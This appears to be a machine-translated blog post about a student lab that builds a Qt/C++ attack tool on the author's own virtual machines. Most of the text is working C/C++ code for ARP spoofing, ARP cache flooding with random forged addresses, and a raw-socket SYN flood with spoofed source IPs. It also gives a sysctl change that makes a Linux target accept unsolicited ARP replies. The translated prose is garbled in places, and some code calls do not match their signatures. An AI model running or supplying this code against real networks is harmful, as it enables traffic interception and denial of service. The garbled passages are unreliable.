以前書いた:この記事を読んでいるときには、私はこの実習を終えているかもしれません。これは、実習中に書いた物語の流れ、またはある種のプライベートな共有フローです)。
大書記アルハイセンがあなたのために詩を書きます :)
ミッションの背景:
- ARP スプーフィング (メイン)、特定の攻撃、パケット スニッフィングをあらゆる環境に実装
- ビジュアルプログラミングを実装する
- プログラミング言語の制限なし
私が使用する環境と基本構成は次のとおりです。
環境: Windows 11、Ubuntu 22.04LST、Kali の最新バージョン (最後の 2 つは Linux 仮想マシンです。Baiduにインストールしてください)
プログラミング言語: C++、C
視覚化ツール: QtCreator 5.12.12 (Ubuntu 上)
コンパイラ: gcc、g++
インストールする必要があるライブラリ: libpcap
いくつかの前提条件:
- Qtプロジェクト環境を作成したら、すぐに追加してください
LIBS += -L/usr/local/lib -lpcap QT+=network
- プログラムを実行するときはルート ID を使用するか、直接 Baidu のUbuntu ルート ID の設定方法を使用してください。
- 2 つの仮想マシンをブリッジ ネットワーク接続として設定し、キャンパス ネットワークを使用せず、自宅の WIFI またはホットスポットを使用してください。
本題に入りましょう: ARP スプーフィング
まず、ARP とは何か知っていますか? (눈_눈)
分からない場合は、まずBaidu を確認してください。早速ですが、まず基本的なパッケージ構造を紹介します, これが私たちのプログラミングにおける主な困難だからです. パッケージ構造を知らないと、あなたは直接死を宣告されるでしょう.
イーサネットヘッダーやARPヘッダーも含めて一目瞭然(ハム)、制御できる部分は送信元ハードウェアアドレス、送信元IPアドレス、ターゲットハードウェアアドレス、ターゲットIPアドレスの部分です。(出典)
端的に言えば、設計できる部品は次のとおりです。
- ar_op オペレーション コード: この ARP パケットが応答パケットであるか要求パケットであるかを制御します。
- arp_sha (sender_mac_address) 送信者の Mac アドレス。本物または偽の 0 ~ 0 を指定できます。
- arp_spa (sender_ip_address) 送信者の IP アドレス。本物または偽の 0 ~ 0 を指定できます。
- arp_tha (target_mac_address) 受信者の Mac アドレス。写真のようにリアルです。偽物では意味がないからです。
- arp_tpa (target_ip_address) 受信者の IP アドレスです。偽物では意味がないからです。
これらは後続の ARP 攻撃のキーワードとなり、関数のエントリ パラメータとなります。なぜならそれらは変えることができるからです。
文字数が多すぎるので、読み終わったら皆さん休憩します。ということで、イケメンの張さんはあまりいないんじゃないでしょうか?(눈▂눈)
えっと、続けましょう!
ゼロから始める Qt プログラミングの旅 (What? What Mei?)
まず、インストールされている QtCreator を開き、ビジュアル インターフェイスを含む Qt ウィジェット プロジェクトを作成します。それが不要な場合は、コンソール プロジェクトを選択してください。前提基盤として Qt を使用しますが、知らない人や慣れていない人は、まず Kangkang Station B でチュートリアルを受けるか、検索しながら頑張ってやってください (それが私です)。
クラス名の重複を避けるために、.h、.cpp ファイルなどのクラス ファイルを作成してください。!!arp_info と arp_packet と arp_party のどれを使った方が良いですか? arp_hrd と名前を付けたら使用できなくなりました。本当に不思議です。同じ名前でなければなりません。
ここで私の基本コードはある人のコードを参照しています。気になることがあれば、見に行くだけでも大丈夫です。
しかし、彼は実際にwinpcap を使用していました。えー、それは大きな問題ではありません。統合もできました!(눈▽눈) (自信満々)
これを行う前に、pcap_t とは何かなど、libpcap に関する基本的な知識を持っておくことが最善です。pcap_sendpacket() とは何ですか? pcap_open_live() とは何ですか? コールバック関数など...
ねえ、どんどん遠くなっていくよ、分からないなら検索すれば早いよ。
ファイルを作成した後、最も重要なことは、ARP パッケージを作成し、その図に基づいて基本構造を定義することです。内部のデータ型は基本的に変更されないことに注意してください。しかし実際には、Qt 独自の型を使用して、少しですが、基本的にはCの方が多いです。signal.hがない限りQtと競合することはありません。signal.h の競合と、C コンパイル済みファイルを間接的に呼び出す bash ファイルについては、最後に書きます。
arp_info.h に次のように記述されます。
ヘッドファイル
#include <QDateTime>
#include <QDebug>
#include <stdio.h>
#include <stdlib.h>
#include <pcap/pcap.h>
#include <string.h>
#include <QString>
#include <QRegExp>
#include <sstream>
#include <string>
#include <QList>
ARP のフィールド構造は次のとおりです。
#define EtherType 0x0806
#define HardWareType 0x0001
#define ProtocolType 0x0800
#define ARP_Response 0x0002
#define ARP_Request 0x0001
typedef struct tagARPFrame
{
unsigned short HW_Type;//硬件类型,2字节,填充0x0001
unsigned short Prot_Type;//协议的类型,2字节,填充0x0800
unsigned char HW_Addr_Len;//MAC地址长度,1字节
unsigned char Prot_Addr_Len;//IP地址长度,1字节
unsigned short Opcode;//操作码,2字节,0x0001为请求包,0x0002为应答包
unsigned char Send_HW_Addr[6];//发送方的MAC地址
unsigned char Send_Prot_Addr[4];//发送方的IP地址
unsigned char Targ_HW_Addr[6];//接受方的MAC地址
unsigned char Targ_Prot_Addr[4];//接收方的IP地址
unsigned char padding[18];// padding data -> all 0
} ARPFRAME, *PARPFRAME;
物理フレームヘッダー
typedef struct tagDLCHeader
{
unsigned char DesMAC[6];//以太网目的mac地址
unsigned char SrcMAC[6];//以太网源目的mac地址
unsigned short Ethertype;//帧类型
} DLCHEADER, *PDLCHEADER;
イーサネットヘッダー + ARP ヘッダー
typedef struct tagARPPacket
{
DLCHEADER dlcHeader; //以太网头部
ARPFRAME arpFrame;//arp头部
} ARPPACKET, *PARPPACKET;
ARP パケットの送信と ARP パケットの製造という 2 つの主要な機能を宣言します。
class arp_info
{
public:
arp_info();
//构造函数我不使用 可以放着
void sendArpPacket(pcap_t * fp, ARPPACKET &ARPPacket);
ARPPACKET make_arp_packet(char* i_srcIP, char* i_desIP, char* i_srcMac, char* i_desMac,int i_opcode);
};
arp_info.cpp に次のように記述されます。
ARP パケットの送信: pcap_t は、ファイル ハンドルを開くために使用され、ネットワーク インターフェイスを検出するために使用されます。後者は、定義したばかりの ARP パケット構造のポインタ アドレスです。fp は取得したハンドルを渡します。メッセージが成功または失敗した場合、qDebug() を使用してメッセージが表示されます。これを使用するのが最善です。そうしないと、printf がバッファーに蓄積されて表示できなくなります。
void arp_info::sendArpPacket(pcap_t * fp, ARPPACKET &ARPPacket)
{
//发包
if (pcap_sendpacket(fp, // Adapter
(const u_char *)&ARPPacket, // buffer with the packet
sizeof(ARPPacket) // size
) != 0)
{
qDebug()<<QString("send NULL ! \n");
qDebug()<<QString("Error sending the packet\n Send NULL!\n");
return;
}
else
{
arp_msg += QString("Send Arp Packet size:%1 successfully!\n").arg(sizeof(ARPPacket));
qDebug()<<QString("send OK! \n");
}
}
MAC アドレス文字をバイナリ文字配列に変換するメソッドを定義します: strtoul
int mac_str_to_bin(char *str, char *mac)
{
int i;
char *s, *e;
if ((mac == nullptr) || (str == nullptr))
{
return -1;
}
s = (char *)str;
for (i = 0; i < 6; ++i)
{
mac[i] = s ? strtoul(s, &e, 16) : 0;
if (s)
s = (*e) ? e + 1 : e;
}
return 0;
}
ARP パケットを生成するインターフェイスを直接作成しました。
これは先ほど述べた重要なキーワードを渡すことで生成でき、通常の送信の場合は 1 が渡され、攻撃の場合は 2 がオペコードとして使用されます。
ARPPACKET arp_info::make_arp_packet(char* i_srcIP, char* i_srcMac, char* i_desIP, char* i_desMac, int opCode)
{
ARPPACKET Arp_packet;
mac_str_to_bin(i_srcMac, (char*)Arp_packet.dlcHeader.SrcMAC);
mac_str_to_bin(i_desMac, (char*)Arp_packet.dlcHeader.DesMAC);
Arp_packet.dlcHeader.Ethertype = htons(EtherType);
Arp_packet.arpFrame.HW_Type = htons(HardWareType);
Arp_packet.arpFrame.Prot_Type = htons(ProtocolType);
Arp_packet.arpFrame.HW_Addr_Len = 6;
Arp_packet.arpFrame.Prot_Addr_Len = 4;
if(opCode == 1)
{
Arp_packet.arpFrame.Opcode = htons(ARP_Request);
arp_msg += QString("-----The arp packet is a Request packet.-----\n");
}
else{
Arp_packet.arpFrame.Opcode = htons(ARP_Response);
arp_msg += QString("-----The arp packet is a Response packet.-----\n");
}
//inet_pton() 将一个IP地址字符串转换为网络字节序(即大端序)的二进制IP地址表示 10->2
//ntohl() 网络字节序32bit->主机字节序32bit
// AF_INET ipv4 address family
inet_pton(AF_INET, i_srcIP, Arp_packet.arpFrame.Send_Prot_Addr);
inet_pton(AF_INET, i_desIP, Arp_packet.arpFrame.Targ_Prot_Addr);
mac_str_to_bin(i_srcMac, (char*)Arp_packet.arpFrame.Send_HW_Addr);
mac_str_to_bin(i_desMac, (char*)Arp_packet.arpFrame.Targ_HW_Addr);
qDebug()<<"send_mac_bin"<<Arp_packet.arpFrame.Send_HW_Addr;
qDebug()<<"to_mac_bin"<<Arp_packet.arpFrame.Targ_HW_Addr;
// fit 0
memset(Arp_packet.arpFrame.padding, 0, sizeof(Arp_packet.arpFrame.padding));
QStringList temp = {QString("%1").arg(i_srcIP),QString("%1").arg(i_desIP),QString("%1").arg(i_srcMac),QString("%1").arg(i_desMac),QString("%1").arg(sizeof(Arp_packet)),"ARP"};
arp_table.append(temp);
arp_msg += QString("Sender Host from ip:[%1],mac:[%2]\n-----sends %3 size arp packet to-----\nTarget Host from ip:[%4],mac:[%5]\n").arg(i_srcIP).arg(i_srcMac).arg(sizeof(Arp_packet)).arg(i_desIP).arg(i_desMac);
qDebug()<<QString("Sender Host from ip:[%1],mac:[%2]\n-----sends %3 size arp packet to-----\nTarget Host from ip:[%4],mac:[%5]\n").arg(i_srcIP).arg(i_srcMac).arg(sizeof(Arp_packet)).arg(i_desIP).arg(i_desMac);
return Arp_packet;
}
ホワイトボードの mainwindow.ui ファイルを次のように編集します。
テキスト表示ボックス textBrowser の名前が arpwin に変更され、ボタン QPushButton の名前が arp_msg に変更されます。
フォームファイル mainwindow.cpp に書き込みます: 次のように値を自分で入力します: (私はランダムに書きました。ターミナル内の実際のデータを取得するには「ifconfig-a」を使用します)
connect(ui->arp_msg,&QPushButton::clicked,[=]{
arp_packet ARP;
// To begin with: if you want to attack please edit the opCode as 2.
// the first and second items can be fake to attack the target host.
// the third and forth items must be known.
ARP.make_arp_packet("xx:xx:xx:xx:xx:xx","255.255.255.255","xx:xx:xx:xx:xx:xx","255.255.255.255");
// default send once.
ARP.send_arp_packet();
ui->arpwin->setPlainText(ARP.arp_msg);
});
ここの ARP.arp_msg は、統計やログのために後で追加できます。(どんな革新?)
それから私はこれを使って私のかわいそうなカーリーを攻撃し、オンラインにアクセスしました! オンラインにしましょう!オンラインにしましょう!
注: Linux は一方的な ARP 応答を受け入れません。つまり、デフォルトでは、ARP 応答パケットを単独で送信した場合、キャッシュ テーブルには書き込まれません。その中にそのパケットが含まれている場合は、それ自体が書き込まれたものと考えられます。 、私たちの手によって書かれたものではありません。
修正方法は以下の通りです(恒久的)
/etc/sysctl.confファイルにnet.ipv4.conf.all.arp_accept=1を記述し
、ターミナルでsudo sysctl -pを実行します。
パッケージを受け取って書くことができます!
効果は次のとおりです。
最初のデフォルトゲートウェイ
2 番目は Ubuntu ARP パケットです。成功したことがわかります。次回、ゲートウェイ アドレスを使用してネットワークから切断できます。
さらに定期パッケージも!キャッシュテーブルが爆発してしまいました!
今回はARPキャッシュテーブルオーバーフロー攻撃のためにランダムに偽造されたIPとMACを追加
std::string arp_info::Random_IP(int r)
{
qsrand(QTime(0,0,0).secsTo(QTime::currentTime())+r);
int start = 0;
int end = 256;
std::string res = "";
for (int i=0; i<4; ++i)
{
// random range [0,255]
int k= qrand() % end+start;
std::string temp = std::to_string(k);
res += temp;
if(i<3)
{
res += ".";
}
}
return res;
}
char* arp_info::Random_MAC(int r)
{
qsrand(QTime(0,0,0).secsTo(QTime::currentTime())+r);
int start = 0;
int end = 16;
for(int i = 0; i < 12; i++)
{
// random range [0,11],[a,f]
int k = start + qrand() % end;
temp_set[i] = Char_set[k];
}
int i = 0, j = 0;
for(i =0; i<12; i++, j++)
{
if(target_set[j]!=':')
{
target_set[j] = temp_set[i];
}
else
{
j++;
target_set[j] = temp_set[i];
}
}
return target_set;
}
後で、サーバーの圧力をテストするための SYN Flood クラスを作成することもできます。まず、サーバーが必要です。そうでない場合は、何も測定できません。
Kali はデフォルトの Apache サーバーを構成し、ローカル IP を使用し、ポートは 80 です。それだけです。
//SynFlood.h
#ifndef SYNFLOOD_H
#define SYNFLOOD_H
#include <QDateTime>
#include <sys/socket.h> // for socket
#include <sys/types.h> // for socket
#include <netinet/in.h> // for sockaddr_in
#include <netinet/tcp.h> // for tcp
#include <netinet/ip.h> // for ip
#include <arpa/inet.h> // for inet_
#include <net/if.h> // for ifreq
#include <memory.h> // for memset
#include <unistd.h> // for usleep
#include <string>
#include <QDebug>
#include <QList>
class SynFlood
{
public:
explicit SynFlood();
virtual ~SynFlood();
QString syn_msg = "";
QList<QStringList> syn_table = {};
QString desip = "";
QString desport = "";
/*SynFlood初始化*/
int init(std::string ip_addr, int port);
/*SynFlood攻击*/
int attack(int flood_times);
protected:
/*初始化rawSocket*/
int initRawSocket();
/*初始化ip数据报*/
int initIpData();
private:
/*addrInfo*/
std::string ip_addr;
int port;
/*rawSocket*/
struct sockaddr_in addr; //地址结构体信息
int socket_fd; //socket
unsigned char ip_datagram[sizeof(struct ip) + sizeof(struct tcphdr)]; //ip数据报
unsigned int ip_datagram_len = sizeof(struct ip) + sizeof(struct tcphdr); //ip数据报长度
struct ip *ip_header; //ip首部指针
struct tcphdr *tcp_header; //tcp首部指针
};
#endif // SYNFLOOD_H
//SynFlood.cpp
#include "synflood.h"
u_int16_t check_sum(u_int16_t *buffer, int size);
SynFlood::SynFlood()
{
srandom(time(nullptr));
QDateTime dateTime;
dateTime = QDateTime::currentDateTime();
syn_msg = "--------SYN Flood Information--------\n";
syn_msg += dateTime.toString("yyyy-MM-dd hh:mm:ss\n");
}
SynFlood::~SynFlood()
{
ip_header = nullptr;
tcp_header = nullptr;
}
/*SynFlood初始化*/
int SynFlood::init(std::string ip_addr, int port)
{
// initiate the ip and port for object
this->ip_addr = ip_addr;
this->port = port;
desip = QString::fromStdString(ip_addr);
int res = initRawSocket();
if(res!=0){
return -1;
}
initIpData();
return 0;
}
/*初始化rawSocket*/
int SynFlood::initRawSocket()
{
// 创建对方地址信息
addr.sin_family = AF_INET;// ipv4 协议族
addr.sin_addr.s_addr = inet_addr(ip_addr.c_str());
addr.sin_port = htons(port);
// 创建原始套接字,TCP
socket_fd = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
if(socket_fd<0){
perror("socket:");
return -1;
}
qDebug() << "sock:" << socket_fd << endl;
syn_msg += QString("Already create a socket called:%1.\n").arg(socket_fd);
// 防止自动填充数据包
int on = 1;
int opt = setsockopt(socket_fd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
if(opt<0){
perror("opt:");
return -1;
}
return 0;
}
/*初始化ip数据报*/
int SynFlood::initIpData()
{
// 初始化ip数据报 ip_datagram(IP首部+TCP首部+TCP数据部分)
memset(&ip_datagram,0,sizeof(ip_datagram));
// qDebug()<< "ip_datagram size :" << ip_datagram_len << endl;
syn_msg += QString("Make a %1 size IP data packet.\n").arg(ip_datagram_len);
// 构建IP首部和TCP首部指针
ip_header = (struct ip *)ip_datagram;
tcp_header = (struct tcphdr *)(ip_datagram + sizeof(struct ip));//ip首部后面就是tcp报文段了
/*封装ip首部*/
// 版本 4
ip_header->ip_v = IPVERSION;
// 首部长度 4 右移 2 位(相当于除以 4)得到长度以 32 位字为单位的值
ip_header->ip_hl = sizeof(struct ip)>>2;
// 服务类型(types of service) 8
ip_header->ip_tos = 0;
// 总长度 16
//htons()将主机字节序转换为网络字节序
ip_header->ip_len = htons(ip_datagram_len);
// 标识 16
ip_header->ip_id = 0;
// 标志+偏移 16
ip_header->ip_off = 0;
// 生存时间 8
ip_header->ip_ttl = 0;
// 协议 8 TCP protocol --value==6
ip_header->ip_p = IPPROTO_TCP;
// 首部检验和 16
ip_header->ip_sum = 0;
// 源地址(可伪造) 32
//ip_header->ip_src.s_addr = inet_addr("127.0.0.1");
// sockaddr_in addr -->(sin_addr,sin_port)
// 目的地址 32 addr.sin_addr 中存储的是一个二进制形式的 IPv4 地址
ip_header->ip_dst = addr.sin_addr;
/*封装tcp首部*/
// 源端口 16 , 在syn攻击部分随机伪造端口
//tcp_header->source = htons(m_port);
// 目的端口 16
tcp_header->dest = addr.sin_port;
// 序号 32
tcp_header->seq = 0;
// 确认号 32
tcp_header->ack_seq = 0;
// 数据偏移 4
//tcp_header->res1 = 0;
// 保留 4
tcp_header->doff = 5; // 这里从wireshark来看是指的是数据偏移,resl和doff的位置反了,不知道是头文件有问题还是什么的,应该不是大小端问题。
//res2+urg+ack+psh+rst+syn+fin 8
//tcp_header->res2 = 0;
//tcp_header->urg = 0;
//tcp_header->ack = 0;
//tcp_header->psh = 0;
//tcp_header->rst = 0;
tcp_header->syn = 1;
//tcp_header->fin = 0;
// 窗口 16
//tcp_header->window = 0;
// 检验和 16
tcp_header->check = 0;
// 紧急指针 16
//tcp_header->urg_ptr = 0;
return 0;
}
/*syn攻击*/
int SynFlood::attack(int flood_times)
{
/*synFlood*/
for(int i = 0 ; i < flood_times ; i++){
// 伪造ip源地址
u_int32_t m_ip = random();
ip_header->ip_src.s_addr = htonl(m_ip);
// 伪造tcp源端口
tcp_header->source = htons(random());
// qDebug() << "Fake ip:" << inet_ntoa(ip_header->ip_src) << "Fake port:" << tcp_header->source << endl;
syn_msg += QString("Sender Host from:[%1],port:[%2]\n------sends a TCP packet for SYN to-----\nTarget Host from[%3],port[%4]\n")
.arg(inet_ntoa(ip_header->ip_src)).arg(tcp_header->source).arg(desip).arg(port);
QStringList temp = {QString("%1").arg(inet_ntoa(ip_header->ip_src)),QString("%1").arg(desip),QString("%1").arg(tcp_header->source),QString("%1").arg(port),QString("%1").arg(ip_datagram_len),"SYN"};
syn_table.append(temp);
// qDebug()<<"temp_syn_table"<<syn_table;
/*计算tcp校验和*/
ip_header->ip_ttl = 0;
tcp_header->check = 0;
// ip首部的校验和,内核会自动计算,可先作为伪首部,存放tcp长度
ip_header->ip_sum = htons(sizeof(struct tcphdr));
// 计算tcp校验和,从伪首部开始
tcp_header->check = check_sum((u_int16_t *)ip_datagram+4,sizeof(ip_datagram)-8);
ip_header->ip_ttl = MAXTTL;
// 发送
int res = sendto(socket_fd,ip_datagram,ip_datagram_len,0,(sockaddr *)&addr,sizeof(struct sockaddr_in));
qDebug() << res << endl;
if(res<0){
perror("res");
return -1;
}
usleep(10000);
if(res>0)
{
syn_msg += QString("SYN Flood sends successfully!\n");
}
}
return 0;
}
u_int16_t check_sum(u_int16_t *buffer, int size)
{
//建议将变量放入寄存器, 提高处理效率.
register int len = size;
//16bit
register u_int16_t *p = buffer;
//32bit
register u_int32_t sum = 0;
//16bit求和
while( len >= 2)
{
sum += *(p++)&0x0000ffff;
len -= 2;
}
//最后的单字节直接求和
if( len == 1){
sum += *((u_int8_t *)p);
}
//高16bit与低16bit求和, 直到高16bit为0
while((sum&0xffff0000) != 0){
sum = (sum>>16) + (sum&0x0000ffff);
}
return (u_int16_t)(~sum);
}
最後にインターフェイスを組み合わせる必要があります。これは ARP のテスト インターフェイスです。次のインターフェイスは次のようになります。
表紙:(ヤマタノオロチの配色を元に)
ipdump 部分:
ARP部分:
実験版は本当に良いです (눈Benefit눈) ハハハハハ
変身!
データを表示するためのテーブルも作成しました。
ログは次のとおりです
QT フォームコードインターセプト、インターネットからクロールした形式はかなりバグがありますが、ChatGPT に投げれば修正できるようです。
//QTable to output the data for arp attack
ui->tableWidget->setColumnCount(6);
ui->tableWidget->setFocusPolicy(Qt::NoFocus);
QStringList headerText = {"srcIP","desIP","srcMac","desMac","Length","Attack Type"};
ui->tableWidget->setHorizontalHeaderLabels(headerText);
ui->tableWidget->setSelectionBehavior(QAbstractItemView::SelectRows); //设置选择行为时每次一行
ui->tableWidget->setEditTriggers(QAbstractItemView::NoEditTriggers); //设置表格内容不可编辑
ui->tableWidget->setStyleSheet("selection-background-color:rgb(208, 163, 246);"); //设置选中行的背景色
ui->tableWidget->horizontalHeader()->setDefaultAlignment(Qt::AlignCenter);// center align
ui->tableWidget->horizontalHeader()->setSectionResizeMode(QHeaderView::Stretch);
ui->tableWidget->horizontalHeader()->setSectionResizeMode(3, QHeaderView::Fixed);
ui->tableWidget->setColumnWidth(3, 150);
ui->tableWidget->horizontalHeader()->setSectionResizeMode(2, QHeaderView::Fixed);
ui->tableWidget->setColumnWidth(2, 150);
ui->tableWidget->horizontalHeader()->setSectionResizeMode(0, QHeaderView::Fixed);
ui->tableWidget->setColumnWidth(0, 145);
ui->tableWidget->horizontalHeader()->setSectionResizeMode(1, QHeaderView::Fixed);
ui->tableWidget->setColumnWidth(1, 145);
QTableWidgetItem *item = new QTableWidgetItem("item");
//获取原有字体设置
QFont font = item->font();
//设置为粗体
font.setBold(true);
//字体大小
font.setPointSize(10);
//字体颜色
item->setTextColor("rgb(255, 255, 255)");
//设置字体
item->setFont(font);
// syn table data config
ui->syn_table->setColumnCount(6);
ui->syn_table->setFocusPolicy(Qt::NoFocus);
QStringList syn_header = {"srcIP","desIP","srcPort","desPort","Length","Attack Type"};
ui->syn_table->setHorizontalHeaderLabels(syn_header);
ui->syn_table->setSelectionBehavior(QAbstractItemView::SelectRows); //设置选择行为时每次一行
ui->syn_table->setEditTriggers(QAbstractItemView::NoEditTriggers); //设置表格内容不可编辑
ui->syn_table->setStyleSheet("selection-background-color:rgb(208, 163, 246);"); //设置选中行的背景色
ui->syn_table->horizontalHeader()->setDefaultAlignment(Qt::AlignCenter);// center align
ui->syn_table->horizontalHeader()->setSectionResizeMode(QHeaderView::Stretch);
ui->syn_table->horizontalHeader()->setSectionResizeMode(3, QHeaderView::Fixed);
ui->syn_table->setColumnWidth(3, 150);
ui->syn_table->horizontalHeader()->setSectionResizeMode(2, QHeaderView::Fixed);
ui->syn_table->setColumnWidth(2, 150);
ui->syn_table->horizontalHeader()->setSectionResizeMode(0, QHeaderView::Fixed);
ui->syn_table->setColumnWidth(0, 145);
ui->syn_table->horizontalHeader()->setSectionResizeMode(1, QHeaderView::Fixed);
ui->syn_table->setColumnWidth(1, 145);
QTableWidgetItem *syn_item = new QTableWidgetItem("item");
//获取原有字体设置
QFont syn_font = syn_item->font();
//设置为粗体
syn_font.setBold(true);
//字体大小
syn_font .setPointSize(10);
//字体颜色
syn_item->setTextColor("rgb(255, 255, 255)");
//设置字体
syn_item->setFont(syn_font);
connect(ui->show_details,&QPushButton::clicked,[=]{
//show table details QList<QList{QStringList{QString}}>
// QStringList format:{
{srcIP,desIp,srcMac,desMac,Length,AttackType},{}} one unit
// arp_table
if(!arp_table.isEmpty())
{
int rowCount = arp_table.size(); // 获取数据的行数
for(int i=0;i<rowCount;i++)
{
QList<QStringList> innerList = arp_table[i]; // 获取该行的QStringList
for(int j=0; j<innerList.size();j++)
{
// 插入新的一行
int row = ui->tableWidget->rowCount();
ui->tableWidget->insertRow(row);
QStringList temp = innerList[j];
// qDebug()<<"temp"<<temp;
for(int k=0; k< temp.size(); k++)
{
QTableWidgetItem *item = new QTableWidgetItem(temp[k]); // 创建单元格
ui->tableWidget->setItem(row, k, item); // 添加单元格到表格
}
}
}
}
if(!syn_table.isEmpty())
{
//syn_table
int syn_row = syn_table.size(); // 获取数据的行数
for(int i=0;i<syn_row;i++)
{
QList<QStringList> innerList = syn_table[i]; // 获取该行的QStringList
// qDebug()<<"arp_table[i]"<<arp_table[i];
for(int j=0; j<innerList.size();j++)
{
// 插入新的一行
int row = ui->syn_table->rowCount();
ui->syn_table->insertRow(row);
QStringList temp = innerList[j];
// qDebug()<<"temp"<<temp;
for(int k=0; k< temp.size(); k++)
{
QTableWidgetItem *item = new QTableWidgetItem(temp[k]); // 创建单元格
ui->syn_table->setItem(row, k, item); // 添加单元格到表格
}
}
}
}
});
// multi row
connect(ui->table_clear,&QPushButton::clicked,[=]{
QList<QTableWidgetItem*> items = ui->tableWidget->selectedItems();
QSet<int> rows;
foreach(QTableWidgetItem *item, items)
{
rows.insert(item->row());
}
// 从最后一行开始循环删除
foreach(int row, rows)
{
ui->tableWidget->removeRow(row);
}
QList<QTableWidgetItem*> syn_items = ui->syn_table->selectedItems();
QSet<int> syn_rows;
foreach(QTableWidgetItem *item, syn_items)
{
syn_rows.insert(item->row());
}
// 从最后一行开始循环删除
foreach(int row, syn_rows)
{
ui->syn_table->removeRow(row);
}
});
//all clear
connect(ui->all_clear,&QPushButton::clicked,[=]{
int rowCount = ui->tableWidget->rowCount();
for (int i = rowCount - 1; i >= 0; i--) {
ui->tableWidget->removeRow(i);
}
int syn_row= ui->syn_table->rowCount();
for (int i = syn_row - 1; i >= 0; i--) {
ui->syn_table->removeRow(i);
}
});
C言語にはQTに埋め込めないものもあるのでbashの部分について話しましょう、例えばsignal.h関数はQT自身のsignal関数定義と重なるので必然的に競合しますが、singal.hはキーボード入力信号を受信するには、QT を埋め込んで Ctrl+C 割り込み効果をシミュレートする方法を教えてください。
次に、bash スクリプトを使用する必要があります。このように書くと非常に野蛮ですが、効果は大丈夫ですか? !
ここでの呼び出しシーケンスは、大まかに Stop.sh -> Run.sh -> Test.exe -> stest.sh -> MYLOG.txt です。
まず C ファイルをコンパイルして実行可能プログラムを取得し、それをビルド時の Debug と同様のフォルダーに貼り付けて、その中に実行可能プログラムを呼び出す bash ファイルを書き込みます。
Ctrl+C シミュレーションにタイムアウトを使用したことがわかりましたが、まったく異なります。他の人は手動で一時停止しますが、私は自動的に使用します。それは違います。プロセス番号を使用して実行可能プログラムのプロセスを表し、INT シグナルを使用してプロセスを強制終了する必要があります。
# !/bin/bash
PID=$(pgrep -f your_exe_name)
# echo "$PID"
kill -INT $PID
誰かが私のプログラムを使用したい場合は、これらの乱雑な bash ファイルが何を意味するのか必ず理解してください、そうでないと理解するのが難しくなります...さもなければ、私のゴミコードをまったく使用しないでください。対処法や書き方など。
(目つき目)(目つき目)(目つき目)(目つき目)(目つき目)
ついに終わり!原神もプレイできますし、英語も書けます...